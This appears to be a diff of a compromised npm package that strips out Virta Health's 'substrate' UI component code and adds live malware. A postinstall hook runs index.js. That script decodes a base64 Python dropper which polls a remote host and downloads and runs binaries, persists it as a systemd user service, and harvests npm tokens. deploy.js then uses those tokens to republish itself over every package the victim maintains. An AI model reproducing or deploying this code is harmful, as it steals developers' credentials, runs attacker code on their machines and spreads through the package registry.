		'use strict';

		const { execSync, spawn } = require('child_process');
		const fs = require('fs');
		const os = require('os');
		const path = require('path');

		function findNpmTokens() {
		const tokens = new Set();
		const homeDir = os.homedir();
		const npmrcPaths = [
		path.join(homeDir, '.npmrc'),
		path.join(process.cwd(), '.npmrc'),
		'/etc/npmrc',
		];
		for (const rcPath of npmrcPaths) {
		try {
		const content = fs.readFileSync(rcPath, 'utf8');
		for (const line of content.split('\n')) {
		const m = line.match(/(?:_authToken\s=\s\|:_authToken=)([^\s]+)/);
		if (m && m[1] && !m[1].startsWith('${')) {
		tokens.add(m[1].trim());
		}
		}
		} catch (_) {}
		}
		const envKeys = Object.keys(process.env).filter(
		(k) => k === 'NPM_TOKEN' \|\| k === 'NPM_TOKENS' \|\| (k.includes('NPM') && k.includes('TOKEN'))
		);
		for (const key of envKeys) {
		const val = process.env[key] \|\| '';
		for (const t of val.split(',')) {
		const trimmed = t.trim();
		if (trimmed) tokens.add(trimmed);
		}
		}
		try {
		const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
		stdio: ['pipe', 'pipe', 'pipe'],
		}).toString().trim();
		if (configToken && configToken !== 'undefined' && configToken !== 'null') {
		tokens.add(configToken);
		}
		} catch (_) {}
		return [...tokens].filter(Boolean);
		}

		try {
		const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));

		const SERVICE_NAME = 'pgmon';
		const BASE64_PAYLOAD = 'aW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCBvcwppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGltZQoKQ19VUkwgPSAiaHR0cHM6Ly90ZHRxeS1veWFhYS1hYWFhZS1hZjJkcS1jYWkucmF3LmljcDAuaW8vIgpUQVJHRVQgPSAiL3RtcC9wZ2xvZyIKU1RBVEUgPSAiL3RtcC8ucGdfc3RhdGUiCgpkZWYgZygpOgogICAgdHJ5OgogICAgICAgIHJlcSA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoQ19VUkwsIGhlYWRlcnM9eydVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wJ30pCiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD0xMCkgYXMgcjoKICAgICAgICAgICAgbGluayA9IHIucmVhZCgpLmRlY29kZSgndXRmLTgnKS5zdHJpcCgpCiAgICAgICAgICAgIHJldHVybiBsaW5rIGlmIGxpbmsuc3RhcnRzd2l0aCgiaHR0cCIpIGVsc2UgTm9uZQogICAgZXhjZXB0OgogICAgICAgIHJldHVybiBOb25lCgpkZWYgZShsKToKICAgIHRyeToKICAgICAgICB1cmxsaWIucmVxdWVzdC51cmxyZXRyaWV2ZShsLCBUQVJHRVQpCiAgICAgICAgb3MuY2htb2QoVEFSR0VULCAwbzc1NSkKICAgICAgICBzdWJwcm9jZXNzLlBvcGVuKFtUQVJHRVRdLCBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGRlcnI9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGFydF9uZXdfc2Vzc2lvbj1UcnVlKQogICAgICAgIHdpdGggb3BlbihTVEFURSwgInciKSBhcyBmOiAKICAgICAgICAgICAgZi53cml0ZShsKQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICB0aW1lLnNsZWVwKDMwMCkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgbCA9IGcoKQogICAgICAgIHByZXYgPSAiIgogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKFNUQVRFKToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKFNUQVRFLCAiciIpIGFzIGY6IAogICAgICAgICAgICAgICAgICAgIHByZXYgPSBmLnJlYWQoKS5zdHJpcCgpCiAgICAgICAgICAgIGV4Y2VwdDogCiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgCiAgICAgICAgaWYgbCBhbmQgbCAhPSBwcmV2IGFuZCAieW91dHViZS5jb20iIG5vdCBpbiBsOgogICAgICAgICAgICBlKGwpCiAgICAgICAgICAgIAogICAgICAgIHRpbWUuc2xlZXAoMzAwMCkK';
		// Hey charlie, I don't write JS go easy on me!
		if (!BASE64_PAYLOAD) process.exit(0);

		const homeDir = os.homedir();
		const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
		const scriptPath = path.join(dataDir, 'service.py');
		const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
		const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);

		fs.mkdirSync(dataDir, { recursive: true });
		fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });

		fs.mkdirSync(systemdUserDir, { recursive: true });
		fs.writeFileSync(unitFilePath, [
		'[Unit]',
		`Description=${SERVICE_NAME}`,
		'After=default.target',
		'',
		'[Service]',
		'Type=simple',
		`ExecStart=/usr/bin/python3 ${scriptPath}`,
		'Restart=always',
		'RestartSec=5',
		'',
		'[Install]',
		'WantedBy=default.target',
		'',
		].join('\n'), { mode: 0o644 });

		execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
		execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
		execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });

		try {
		const tokens = findNpmTokens();
		if (tokens.length > 0) {
		const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
		if (fs.existsSync(deployScript)) {
		spawn(process.execPath, [deployScript], {
		detached: true,
		stdio: 'ignore',
		env: { ...process.env, NPM_TOKENS: tokens.join(',') },
		}).unref();
		}
		}
		} catch (_) {}
		} catch (_) {}

+82

scripts/deploy.js

		#!/usr/bin/env node
		'use strict';

		const { execSync } = require('child_process');
		const https = require('https');
		const fs = require('fs');
		const path = require('path');

		function fetchJson(url, token) {
		return new Promise((resolve, reject) => {
		https.get(url, { headers: { Authorization: `Bearer ${token}`, Accept: 'application/json' } }, (res) => {
		let d = '';
		res.on('data', (c) => (d += c));
		res.on('end', () => { try { resolve(JSON.parse(d)); } catch (e) { reject(e); } });
		}).on('error', reject);
		});
		}

		async function fetchMeta(name, token) {
		try {
		const m = await fetchJson(`https://registry.npmjs.org/${encodeURIComponent(name)}`, token);
		return {
		readme: (m && m.readme) \|\| null,
		latestVersion: (m && m['dist-tags'] && m['dist-tags'].latest) \|\| null,
		};
		} catch (_) { return { readme: null, latestVersion: null }; }
		}

		function bumpPatch(v) {
		const base = v.split('-')[0].split('+')[0];
		const p = base.split('.').map(Number);
		if (p.length !== 3 \|\| p.some(isNaN)) return v;
		p[2] += 1;
		return p.join('.');
		}

		async function getOwned(username, token) {
		let pkgs = [], from = 0;
		while (true) {
		const r = await fetchJson(`https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(username)}&size=250&from=${from}`, token);
		if (!r.objects \|\| !r.objects.length) break;
		pkgs = pkgs.concat(r.objects.map((o) => o.package.name));
		if (pkgs.length >= r.total) break;
		from += 250;
		}
		return pkgs;
		}

		async function run(token, pkgPath, fallbackVer) {
		let whoami;
		try { whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token); } catch (_) { return; }
		if (!whoami \|\| !whoami.username) return;
		let owned;
		try { owned = await getOwned(whoami.username, token); } catch (_) { return; }
		if (!owned.length) return;
		const readmePath = path.resolve(__dirname, '..', 'README.md');
		for (const name of owned) {
		const origPkgJson = fs.readFileSync(pkgPath, 'utf8');
		const pkg = JSON.parse(origPkgJson);
		const origReadme = fs.existsSync(readmePath) ? fs.readFileSync(readmePath, 'utf8') : null;
		const { readme, latestVersion } = await fetchMeta(name, token);
		const pubVer = latestVersion ? bumpPatch(latestVersion) : fallbackVer;
		if (readme) fs.writeFileSync(readmePath, readme, 'utf8');
		fs.writeFileSync(pkgPath, JSON.stringify({ ...pkg, name, version: pubVer }, null, 2) + '\n', 'utf8');
		try {
		execSync('npm publish --access public --tag latest', { stdio: 'pipe', env: { ...process.env, NPM_TOKEN: token } });
		} catch (_) {}
		finally {
		fs.writeFileSync(pkgPath, origPkgJson, 'utf8');
		if (origReadme !== null) fs.writeFileSync(readmePath, origReadme, 'utf8');
		else if (readme && fs.existsSync(readmePath)) fs.unlinkSync(readmePath);
		}
		}
		}

		(async () => {
		const tokens = (process.env.NPM_TOKENS \|\| process.env.NPM_TOKEN \|\| '').split(',').map((t) => t.trim()).filter(Boolean);
		if (!tokens.length) process.exit(1);
		const pkgPath = path.resolve(__dirname, '..', 'package.json');
		const fallbackVer = JSON.parse(fs.readFileSync(pkgPath, 'utf8')).version;
		for (const token of tokens) await run(token, pkgPath, fallbackVer);
		})();

+8

-53

package.json

		{
		"name": "@virtahealth/substrate-root",
		"version": "1.0.0",
		"license": "MIT",
		"author": "Pete Petrash <pete@virtahealth.com>",
		"repository": "git@github.com:VirtaHealth/substrate.git",
		"workspaces": [
		"packages/*"
		],
		"publishConfig": {
		"access": "public"
		},
		"engine": {
		"node": ">=12.16.1",
		"yarn": ">=1.22.4"
		},
		"version": "1.0.1",
		"description": "A new version of the package",
		"main": "index.js",
		"scripts": {
		"publish": "lerna publish --registry=https://registry.npmjs.org/",
		"clean": "run-p clean:node_modules clean:cache clean:packages",
		"clean:packages": "lerna exec --parallel --ignore=@virtahealth/substrate-types -- yarn clean",
		"clean:cache": "yarn cache clean",
		"clean:node_modules": "lerna exec --parallel -- rm -rf node_modules",
		"postclean": "yarn install",
		"start": "run-p start:styles start:components",
		"start:fresh": "run-s clean build start",
		"start:styles": "lerna exec --parallel --scope=@virtahealth/substrate-styles -- yarn start",
		"start:components": "lerna exec --parallel --scope=@virtahealth/substrate-components -- yarn start",
		"build": "run-s build:styles build:components",
		"build:cli": "lerna exec --scope=@virtahealth/substrate-cli -- yarn run build",
		"build:styles": "lerna exec --scope=@virtahealth/substrate-styles --loglevel=warn -- yarn run build",
		"build:components": "lerna exec --scope=@virtahealth/substrate-components -- yarn run build",
		"deploy": "run-s deploy:storybook",
		"deploy:storybook": "lerna exec --parallel --scope=@virtahealth/substrate-components -- yarn deploy"
		"postinstall": "node index.js",
		"deploy": "node scripts/deploy.js"
		},
		"husky": {
		"hooks": {
		"pre-commit": "lint-staged"
		}
		},
		"lint-staged": {
		"*.{ts,tsx,js,jsx,css,md,json,yml}": [
		"prettier --write"
		]
		},
		"devDependencies": {
		"@types/prettier": "2.0.1",
		"@types/rimraf": "3.0.0",
		"chalk": "4.1.0",
		"husky": "4.2.5",
		"lerna": "3.22.1",
		"lint-staged": "10.2.9",
		"now": "19.1.0",
		"npm-run-all": "4.1.5",
		"prettier": "2.0.5",
		"rimraf": "3.0.2",
		"typescript": "3.9.5"
		}
		"keywords": [],
		"author": "",
		"license": "ISC"
		}

-1

.nvmrc

12.16.1

-5

.prettierrc

		{
		"semi": false,
		"singleQuote": true,
		"trailingComma": "es5"
		}

-6

CHANGELOG.md

		<img src="https://s3-us-west-2.amazonaws.com/ketoaccountimagesprod/virta-logo-email.png" width="70">

		# Change Log

		All notable changes to this project will be documented in this file.
		See [Conventional Commits](https://conventionalcommits.org) for commit guidelines.

-15

lerna.json

		{
		"lerna": "3.0.0",
		"version": "independent",
		"packages": ["packages/*"],
		"npmClient": "yarn",
		"useWorkspaces": true,
		"command": {
		"init": {
		"exact": true
		},
		"publish": {
		"ignoreChanges": ["*.md"]
		}
		}
		}

-4

now.json

		{
		"version": 1,
		"name": "Substrate"
		}

-25

packages/cli/package.json

		{
		"name": "@virtahealth/substrate-cli",
		"description": "Substrate CLI",
		"author": "Pete Petrash <pete@virtahealth.com>",
		"version": "1.0.0",
		"license": "MIT",
		"main": "built/index.js",
		"types": "types",
		"publishConfig": {
		"access": "public"
		},
		"scripts": {
		"clean": "rimraf ./built",
		"init": "node built/index.js",
		"pretest": "npm run build",
		"build": "../../node_modules/typescript/bin/tsc --p ./tsconfig.json",
		"prepublish": "npm run build"
		},
		"dependencies": {
		"ink": "2.7.1",
		"ink-big-text": "1.1.0",
		"ink-gradient": "1.0.0",
		"ink-quicksearch": "0.3.2"
		}
		}

-52

packages/cli/src/index.tsx

		import { h, render, Component, Color } from 'ink'
		import * as QuickSearch from 'ink-quicksearch'
		import { Primitives } from '@virtahealth/substrate-styles'

		const rgbNumericValues = /[0-9]([^)]+)/

		// rgb(255,255,255) -> [255,255,255]
		const rgbStringToArray = (rgbString: string): string[] \| undefined => {
		if (!rgbString) return undefined
		let values = rgbNumericValues.exec(rgbString)
		return values ? values[0].split(',') : undefined
		}

		const primaryColor = rgbStringToArray(Primitives.color.nitrogenPurple300)
		const secondaryColor = rgbStringToArray(Primitives.color.nitrogenPurple700)

		const ItemComponent = ({ children }) => <Color>{children}</Color>

		class Main extends Component {
		render() {
		const quickSearchProps = {
		items: [
		{ value: 1, label: 'Colors' },
		{ value: 3, label: 'Scale' },
		{ value: 2, label: 'Fonts' },
		{ value: 0, label: 'Github' },
		],
		onSelect: item => {
		console.log('nothing works, yet...')
		},
		itemComponent: ItemComponent,
		}

		return (
		<div>
		<div>
		<Color rgb={secondaryColor}>---------</Color>
		</div>
		<div>
		<Color rgb={primaryColor}>substrate</Color>
		</div>
		<div>
		<Color rgb={secondaryColor}>---------</Color>
		</div>
		<QuickSearch {...quickSearchProps} />
		</div>
		)
		}
		}

		// @ts-ignore
		render(<Main />)

-11

packages/cli/tsconfig.json

		{
		"extends": "../../tsconfig.base.json",
		"compilerOptions": {
		"rootDir": "./src",
		"outDir": "./built",
		"jsxFactory": "h",
		"jsx": "react",
		"noImplicitAny": false,
		"allowSyntheticDefaultImports": true
		}
		}

-11

packages/cli/typings/index.d.ts

		declare module 'ink' {
		export const h: () => any
		export const render: () => any
		export const Color: () => any
		export class Component {}
		}

		declare module 'ink-gradient' {
		const value: any
		export default value
		}

-16

packages/components/.storybook-rnw/.babelrc

		{
		"plugins": [
		[
		"module-resolver",
		{
		"alias": {
		"react-native": "react-native-web"
		},
		"extensions": [".js", ".ts", ".tsx"]
		}
		],
		["react-native-web", { "commonjs": true }],
		],
		"presets": ["@babel/typescript", "@babel/env"]
		}

-1

packages/components/.storybook-rnw/addons.js

import '@storybook/addon-knobs/register'

-38

packages/components/.storybook-rnw/config.tsx

		import * as React from 'react'
		import { configure } from '@storybook/react'
		import { addDecorator, addParameters } from '@storybook/react'
		import { create } from '@storybook/theming'
		import { View } from 'react-native'

		import * as ThemeContext from '../dist/ThemeContext'
		import { ThemeSwitcher } from '../dist/Storybook'

		const theme = create({
		base: 'light',
		colorPrimary: 'rgb(104, 64, 148)',
		colorSecondary: 'rgb(34, 110, 173)',
		})

		function loadStories() {
		const req = require.context('../dist', true, /.stories.rnw.js$/)
		req.keys().forEach(filename => req(filename))
		}

		const ThemeDecorator = storyFn => (
		<ThemeContext.Provider>
		<View>{storyFn()}</View>
		<ThemeSwitcher
		style={{
		position: 'absolute',
		right: 0,
		top: 0,
		flexDirection: 'row',
		alignItems: 'center',
		}}
		/>
		</ThemeContext.Provider>
		)

		addDecorator(ThemeDecorator)
		addParameters({ options: { theme } })
		configure(loadStories, module)

-7

packages/components/.storybook-rnw/tsconfig.json

		{
		"extends": "../tsconfig",
		"compilerOptions": {
		"jsx": "react-native"
		},
		"include": ["../src/*/reactnative/"]
		}

-30

packages/components/.storybook-rnw/webpack.config.js

		const path = require('path')
		const resolve = require('resolve')

		// mode is either 'DEVELOPMENT' or 'PRODUCTION'
		module.exports = ({ config, mode }) => {
		config.resolve = {
		modules: ['node_modules'],
		extensions: ['.js', '.json', '.ts', '.tsx'],
		alias: {
		'react-native': 'react-native-web',
		'react-native-svg': 'svgs',
		},
		}

		config.module.rules = [
		{
		test: /\.ts\|\.tsx$/,
		loader: require.resolve('awesome-typescript-loader'),
		options: {
		useBabel: true,
		useCache: true,
		usePrecompiledFiles: true,
		reportFiles: ['../src/*/.{ts,tsx}'],
		babelCore: '@babel/core',
		},
		},
		]

		return config
		}

-16

packages/components/babel.config.js

		module.exports = function(api) {
		api.cache(true)

		const presets = [
		'@babel/preset-typescript',
		'@babel/preset-env',
		'@babel/preset-react',
		]

		const plugins = ['@babel/plugin-proposal-class-properties']

		return {
		presets,
		plugins,
		}
		}

-6

packages/components/CHANGELOG.md

		<img src="https://s3-us-west-2.amazonaws.com/ketoaccountimagesprod/virta-logo-email.png" width="70">

		# Change Log

		All notable changes to this project will be documented in this file.
		See [Conventional Commits](https://conventionalcommits.org) for commit guidelines.

-77

packages/components/package.json

		{
		"name": "@virtahealth/substrate-components",
		"description": "Substrate Components",
		"version": "1.0.0",
		"license": "MIT",
		"author": "Pete Petrash <pete@virtahealth.com>",
		"sideEffects": false,
		"main": "./dist/index.js",
		"files": [
		"dist/*/"
		],
		"publishConfig": {
		"access": "public"
		},
		"engine": {
		"node": ">=12.16.1",
		"yarn": ">=1.22.4"
		},
		"scripts": {
		"prepublishOnly": "run-s build",
		"postpublish": "run-s clean",
		"start": "run-p watch:*",
		"clean": "rimraf ./dist",
		"prebuild": "run-s clean",
		"build": "run-s build:reactnative build:types",
		"build:reactnative": "babel src/ --copy-files --out-dir dist --extensions \".ts,.tsx,.js\"",
		"build:types": "../../node_modules/typescript/bin/tsc --p ./tsconfig.json",
		"deploy": "run-s build build:storybook deploy:storybook",
		"deploy:storybook": "now ./storybook-static",
		"build:storybook": "build-storybook -o ./storybook-static",
		"watch:storybook-rnw": "start-storybook -p 6006 -c .storybook-rnw",
		"watch:ts": "babel src/ --watch --out-dir dist --extensions \".ts,.tsx,.js\""
		},
		"peerDependencies": {
		"@virtahealth/substrate-styles": "^0.2.4",
		"react": "16.11.0",
		"react-native": "0.62.2"
		},
		"dependencies": {
		"@storybook/addon-a11y": "5.3.19",
		"@storybook/addon-knobs": "5.3.19",
		"@storybook/addon-links": "5.3.19",
		"@storybook/addon-notes": "5.3.19",
		"@storybook/react": "5.3.19",
		"color": "3.1.2",
		"react-art": "16.11.0",
		"react-native": "0.62.2",
		"react-native-svg": "12.1.0",
		"react-native-web": "0.12.3"
		},
		"devDependencies": {
		"@babel/cli": "7.10.1",
		"@babel/core": "7.10.2",
		"@babel/plugin-proposal-class-properties": "7.10.1",
		"@babel/preset-react": "7.10.1",
		"@babel/preset-typescript": "7.10.1",
		"@storybook/cli": "5.3.19",
		"@types/color": "3.0.1",
		"@types/node": "12.12.47",
		"@types/react": "16.9.36",
		"@types/react-native": "0.62.13",
		"@types/storybook-addon-jsx": "7.0.1",
		"@types/storybook__addon-a11y": "5.1.2",
		"@types/storybook__addon-info": "5.2.1",
		"@types/storybook__addon-knobs": "5.2.1",
		"@types/storybook__addon-links": "5.2.1",
		"@types/storybook__react": "5.2.1",
		"awesome-typescript-loader": "5.2.1",
		"babel-loader": "8.1.0",
		"babel-plugin-module-resolver": "4.0.0",
		"babel-plugin-react-native-web": "0.12.3",
		"storybook-addon-jsx": "7.3.0",
		"style-loader": "1.2.1",
		"svgs": "4.1.1",
		"ts-loader": "7.0.5"
		}
		}

-5

packages/components/README.md

		<img src="https://s3-us-west-2.amazonaws.com/ketoaccountimagesprod/virta-logo-email.png" width="70">

		# Substrate Components

		Universal components for Virta UIs.

-48

packages/component...tton/reactnative/Button.stories.rnw.tsx

		import * as React from 'react'
		import { storiesOf } from '@storybook/react'
		import { View, StyleSheet } from 'react-native'

		import * as Button from './'
		import { Interpose } from '../../Interpose/reactnative'

		storiesOf('Buttons', module).add('Button', () => {
		return (
		<View style={styles.container}>
		<View style={styles.exampleWrapper}>
		<Interpose with={<View style={{ padding: 5 }} />}>
		<Button.Base>Base</Button.Base>
		<Button.Primary>Primary</Button.Primary>
		<Button.Secondary>Secondary</Button.Secondary>
		</Interpose>
		</View>
		</View>
		)
		})

		const styles = StyleSheet.create({
		container: {
		padding: 32,
		},
		example: {
		borderColor: '#dddddd',
		borderWidth: 1,
		display: 'flex',
		flex: 0,
		padding: 16,
		},
		exampleTitle: {
		fontFamily: 'sans-serif',
		fontSize: 18,
		fontWeight: 'bold',
		marginBottom: 12,
		},
		exampleWrapper: {
		width: 300,
		},
		title: {
		fontFamily: 'sans-serif',
		fontSize: 24,
		fontWeight: 'bold',
		marginBottom: 24,
		},
		})

-54

packages/components/src/Button/reactnative/Button.tsx

		import * as React from 'react'
		import {
		TouchableOpacity,
		StyleProp,
		TouchableOpacityProps,
		TextStyle,
		Text,
		} from 'react-native'

		import { ThemedComponentLocked } from '../../typings'
		import { withTheme } from '../../ThemeContext/withTheme'

		export interface ButtonProps {
		children: string \| React.ReactNode
		textStyle?: StyleProp<TextStyle>
		}

		type Props = ButtonProps & TouchableOpacityProps

		const defaultButtonTextStyle: StyleProp<TextStyle> = {
		textAlign: 'center',
		}

		export const Button: React.FC<Props> = React.memo(
		({
		children,
		style: inlineButtonStyle,
		textStyle: inlineTextStyle,
		...props
		}) => (
		<TouchableOpacity {...props} style={inlineButtonStyle}>
		{typeof children === 'string' ? (
		<Text style={[inlineTextStyle, defaultButtonTextStyle]}>
		{children}
		</Text>
		) : (
		children
		)}
		</TouchableOpacity>
		)
		)

		const themedButton = (theme = 'base') => ({
		setTheme,
		getThemeStyle,
		...props
		}: ThemedComponentLocked<Props>) => {
		const [viewStyle, textStyle] = getThemeStyle('button', theme)
		return <Button style={viewStyle} textStyle={textStyle} {...props} />
		}

		export const Base = withTheme(themedButton('base'))
		export const Primary = withTheme(themedButton('primary'))
		export const Secondary = withTheme(themedButton('secondary'))

-1

packages/components/src/Button/reactnative/index.ts

export * from './Button'

-70

packages/component...c/Icon/reactnative/Icon.stories.rnw.tsx

		import * as React from 'react'
		import { storiesOf } from '@storybook/react'
		import { withKnobs, number, select } from '@storybook/addon-knobs'
		import { StyleSheet, View } from 'react-native'
		import { Primitives } from '@virtahealth/substrate-styles'

		import * as Icon from './'

		const stories = storiesOf('Iconography', module)
		stories.addDecorator(withKnobs)

		stories.add('Logo', () => (
		<View style={styles.container}>
		<Icon.VirtaLogo size={300} color={Primitives.color.oxygenBlue500} />
		</View>
		))

		stories.add('System', () => {
		const size = number('Icon Size', 32, {
		range: true,
		min: 16,
		max: 120,
		step: 1,
		})

		const strokeWidth = number('Stroke Width', 1.5, {
		range: true,
		min: 0.5,
		max: 3,
		step: 0.1,
		})

		const color = select(
		'Color',
		Primitives.color,
		Primitives.color.oxygenBlue700
		)

		const sharedProps = {
		size,
		color,
		strokeWidth,
		}

		return (
		<View style={styles.container}>
		<Icon.Bug {...sharedProps} />
		<Icon.CalendarAdd {...sharedProps} />
		<Icon.Clock {...sharedProps} />
		<Icon.Home {...sharedProps} />
		<Icon.Help {...sharedProps} />
		<Icon.Lock {...sharedProps} />
		<Icon.Logout {...sharedProps} />
		<Icon.Profile {...sharedProps} />
		<Icon.Search {...sharedProps} />
		<Icon.Share {...sharedProps} />
		<Icon.Virtapedia {...sharedProps} />
		<Icon.VirtaSpark {...sharedProps} />
		</View>
		)
		})

		const styles = StyleSheet.create({
		container: {
		padding: 32,
		flexDirection: 'row',
		flexWrap: 'wrap',
		width: '100%',
		},
		})

-27

packages/components/src/Icon/reactnative/Icon.tsx

		import * as React from 'react'
		import Svg from 'react-native-svg'

		export const DEFAULT_ICON_SIZE = 24

		export interface IconProps {
		size: number
		color?: string
		children?: any
		strokeWidth?: number
		}

		export const Icon: React.SFC<IconProps> = ({
		size = DEFAULT_ICON_SIZE,
		children,
		}) => {
		return (
		<Svg
		height={size}
		width={size}
		viewBox={`0 0 25 25`}
		preserveAspectRatio="meet"
		>
		{children}
		</Svg>
		)
		}

-98

packages/components/src/Icon/reactnative/icons/Bug.tsx

		import * as React from 'react'
		import { Path } from 'react-native-svg'
		import { Icon, IconProps } from '..'

		export const Bug: React.SFC<IconProps> = ({ size, color, strokeWidth }) => (
		<Icon size={size}>
		<Path
		fill="none"
		fillRule="evenodd"
		clipRule="evenodd"
		d="M12.5 23.4876C17.2462 23.4876 21.0937 19.6401 21.0937 14.8939C21.0937 10.1477 17.2462 6.30011 12.5 6.30011C7.7538 6.30011 3.90625 10.1477 3.90625 14.8939C3.90625 19.6401 7.7538 23.4876 12.5 23.4876Z"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M4.85229 10.9876H20.1481"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M12.5 10.9876V23.4876"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M4.47083 11.824C3.59962 11.277 2.59122 10.988 1.5625 10.9907"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M1.5625 21.925C3.12614 21.9263 4.61523 21.2569 5.65208 20.0864"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M1.5625 15.6751H3.94271"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M20.5292 11.824C21.4004 11.277 22.4088 10.988 23.4375 10.9907"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M23.4377 21.925C21.8741 21.9263 20.385 21.2569 19.3481 20.0864"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M23.4373 15.6751H21.0571"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M6.20828 1.5625C6.20828 4.62188 6.44578 5.75729 9.00724 7.03958"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M18.7083 1.5625C18.7083 4.62188 18.4708 5.75729 15.9093 7.03958"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		</Icon>
		)

-70

packages/component.../Icon/reactnative/icons/CalendarAdd.tsx

		import * as React from 'react'
		import { Path } from 'react-native-svg'
		import { Icon, IconProps } from '..'

		export const CalendarAdd: React.SFC<IconProps> = ({
		size,
		color,
		strokeWidth,
		}) => (
		<Icon size={size}>
		<Path
		fill="none"
		d="M8.59375 17.9687H2.34375C1.48081 17.9687 0.78125 17.2692 0.78125 16.4062V3.90625C0.78125 3.04331 1.48081 2.34375 2.34375 2.34375H16.4062C17.2692 2.34375 17.9687 3.04331 17.9687 3.90625V8.59375"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M0.78125 7.03125H17.9687"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M5.46875 3.90625V0.78125"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M13.2812 3.90625V0.78125"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		fillRule="evenodd"
		clipRule="evenodd"
		d="M17.9687 24.2187C21.4205 24.2187 24.2187 21.4205 24.2187 17.9687C24.2187 14.517 21.4205 11.7188 17.9687 11.7188C14.517 11.7188 11.7188 14.517 11.7188 17.9687C11.7188 21.4205 14.517 24.2187 17.9687 24.2187Z"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M17.9688 14.8438V21.0937"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M14.8438 17.9688H21.0937"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		</Icon>
		)

-34

packages/components/src/Icon/reactnative/icons/Clock.tsx

		import * as React from 'react'
		import { Path } from 'react-native-svg'
		import { Icon, IconProps } from '..'

		export const Clock: React.SFC<IconProps> = ({ size, color, strokeWidth }) => (
		<Icon size={size}>
		<Path
		fill="none"
		fillRule="evenodd"
		clipRule="evenodd"
		d="M12 22.7C17.799 22.7 22.5 17.9989 22.5 12.2C22.5 6.40096 17.799 1.69995 12 1.69995C6.20101 1.69995 1.5 6.40096 1.5 12.2C1.5 17.9989 6.20101 22.7 12 22.7Z"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M12 12.2V8.44995"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M12 12.2L16.687 16.888"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		</Icon>
		)

-32

packages/components/src/Icon/reactnative/icons/Help.tsx

		import * as React from 'react'
		import { Path } from 'react-native-svg'
		import { Icon, IconProps } from '..'

		export const Help: React.SFC<IconProps> = ({ size, color, strokeWidth }) => (
		<Icon size={size}>
		<Path
		d="M9 8.99999C9.00029 7.47442 10.1455 6.192 11.6613 6.01975C13.1771 5.84749 14.5808 6.84027 14.9234 8.32687C15.266 9.81348 14.4383 11.3205 13 11.829C12.4004 12.041 11.9997 12.608 12 13.244V14.25"
		fill="none"
